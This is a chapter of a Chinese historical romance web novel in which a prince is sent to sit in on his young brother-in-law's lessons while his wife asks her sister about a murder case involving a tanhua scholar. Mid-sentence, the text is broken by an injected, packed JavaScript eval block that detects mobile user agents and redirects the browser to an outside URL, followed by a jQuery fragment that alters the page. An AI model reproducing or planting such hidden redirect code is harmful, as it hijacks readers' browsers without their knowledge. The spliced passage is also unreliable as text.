谢景舟甚是自得,拍着胸脯道:“自是进宫找父皇,着令刑部重审此案。”
“你怎么一有事便想着进宫见父皇,就不能靠自个解决?”沈颜欢单手叉腰,仰头望向他,语气里带着几分不满。
“既已判定,若无父皇旨意,靠刑部那些酒囊饭袋,只想着早早了解,那还会发回重审;再者,朝廷选材非容易,今日的探花郎,说不定是它日的内阁重臣,自得重视。”
“那你便进宫说明缘由,求父皇宽限些时日。”沈颜欢听他说得头头是道,难得不知该如何反驳,既有几分道理,又是人命关天之事,便催着他进宫。
“我才从宫里出来,又要进宫?”谢景舟挠了挠头,不大情愿,每每入宫总被父皇教训一番,他不想又送上门听骂,“虽说是人命案子,可不是还有些时日,明日再说也来得及,而且,今日朝上父皇心情不大好,还是找个他心情好些的时候,更好说话些。”
时机确实也重要,沈颜欢便也不催促了,只提醒一句:“你别忘了便是。”
“这等大事,我记得牢。”谢景舟连连保证,见沈颜欢提步往前走,他也跟了上去,“沈二,你还没告诉我,要更衣去哪里?”
“回沈府。”
“不是,我不过是今日不进宫,你便要回娘家了?”谢景舟疾步上前,转过身,面对沈颜欢,她走一步,他退一步,“昨儿才回来,今日便要回去,姑爹姑母见了,定以为我又气着你了,不让我进沈府。”
“我是那等爱告状之人?”沈颜欢蹙眉嗔怪,“你安心,我是因着高娘子之事回去的,与你无关。”
“那我同你一道回去,”谢景舟话音未落,人已经跑出去,口中还喊着,“来人,快些给本王更衣!”
沈颜欢本就是去沈伯明那里取经的,谢景舟若能听进去一些也是好的,便也由他跟着了。
不巧的是,沈颜欢和谢景舟到沈府才知,沈伯明奉命公干去了,要三日后才回。
来都来了,况且沈颜欢心里还记挂着沈知渔戏台受惊之事,便到后院寻她去了。
而谢景舟是外男,不方便入内,只得站在沈知渔院子的门洞前,拉了拉才跨进的沈颜欢的衣袖:“沈二,你要不问问阿姐,我方便进去吗?”
“不方便!”沈颜欢直接替沈知渔拒了谢景舟。
“那我往何处去?总不能到花厅,与姑母大眼瞪小眼吧。”不知为何,两人婚前,他到沈府都将自个当主人,没有一丝不自在,反倒是如今,关系近了,可他却畏畏缩缩了起来。
沈颜欢可不敢谢景舟与姑母在一处,姑母身子弱,万一谢景舟语出惊人,将姑母气倒了,如何是好?
沈颜欢正想着将他安置到何处时,青辞在她耳边嘀咕了几句,便见沈颜欢眉头舒展,从谢景舟手中抽出了自己的衣袖:“这会儿,先生正在给宝儿授课,我让小厮带你一同去听听。”
“什么?”谢景舟揉了揉耳朵,担心自个听错了,竟然让他去读书听课,还是与沈家宝那小子一块儿。
“主子,王妃让您蹭沈小郎君的课业。”石砚以为谢景舟真没听清,还特意在他耳边重复了一遍。
“本王晓得!”谢景舟恨铁不成钢地瞪了石砚一眼,都是身边人,青辞怎么就能帮着沈颜欢出鬼主意,石砚怎就这般不开窍?
“主子不高兴了?”走出一段路,石砚才后知后觉。
谢景舟回头瞥了石砚一眼,果然是四肢发达头脑简单:“本王长沈家宝不少岁数,怎的就沦落到要同他一道念书了!”
石砚挠挠头,略显尴尬地道出了真相:“主子,您是虚长几岁,可论学识……大抵还不如沈小郎君。”
“你!”谢景舟捏紧拳头就要往石砚身上招呼,石砚立马抱头蹿逃,主仆俩吵吵嚷嚷到底是进了学堂。
学堂设在沈府东侧的一处清幽小院,院里种着两棵老槐树,浓荫蔽日,谢景舟刚到门口,便听见里头传来朗朗读书声。
谢景舟脚步顿了顿,莫名有些心虚,他回头想找石砚,却发现那家伙早已躲得远远的,只露出半个脑袋在院门外张望。
“没义气的东西。”他嘀咕一句,硬着头皮跨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250518|189376||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进门槛。
学堂内,一位须发花白的老先生正端坐在案前,手执书卷,闻声抬起头来,见是谢景舟,老先生显然愣了一下,随即起身行礼:“老朽见过齐王殿下。”
“先生免礼免礼。”谢景舟连忙摆手,目光落在那个同样瞪大眼睛看着他的人儿身上。
当真是太阳打西边出了,这位纨绔姐夫竟然主动来用功了?
沈家宝越看越觉着这稀奇事里透着古怪,索性疑惑问道:“齐王殿下这是……”
谢景舟没好气地瞥了沈家宝一眼,挑了个墙角的位置坐了下来,努力摆出正经模样:“你二姐姐让本王来盯着你用功的,还不快念书!”
“你盯着我?”沈家宝眼里盛满了诧异,“你听得懂吗?”
“这不是有先生嘛。”谢景舟气得差点咬碎了牙,这小子,小瞧人!
而沈家宝观察着谢景舟的神色,唇角微微扬了扬:“该不会是二姐姐叫你来学一学的吧?”
沈家宝见谢景舟气得咬牙切齿,便知自己猜准了,好在他还有些分寸,调侃了一句便不再提,立马让先生继续授课。
另一边,沈颜欢轻车熟路地进了沈知渔的闺房。
沈知渔正坐在窗下绣花,见她来了,放下针线起身相迎:“怎么这个时辰过来?用过早膳了?”
“用过了。”沈颜欢在她身边坐下,打量着她的脸色,“阿姐气色好了许多,那日戏台受惊,可还有什么不适?”
“早好了,不过是当时吓了一下,哪就那么娇贵了。”沈知渔笑着摇头,给她倒了杯茶,“你今儿来,是有事?”
沈颜欢也不瞒她,将高老伯的事原原本本说了一遍。
沈知渔静静听着,手中的茶盏微微一顿。
“那位探花郎的事迹,我听过一二,好像原本圣上有意招他为郡马爷的,是他自己说家中早已定下婚约,圣上又念他寡母抚养遗腹子成才不易,且守节多年,还赐了贞节牌坊,没想到竟出了这样的事。”沈知渔不免唏嘘,她曾还感慨他守信重诺,不似吴文淼那般薄情寡义。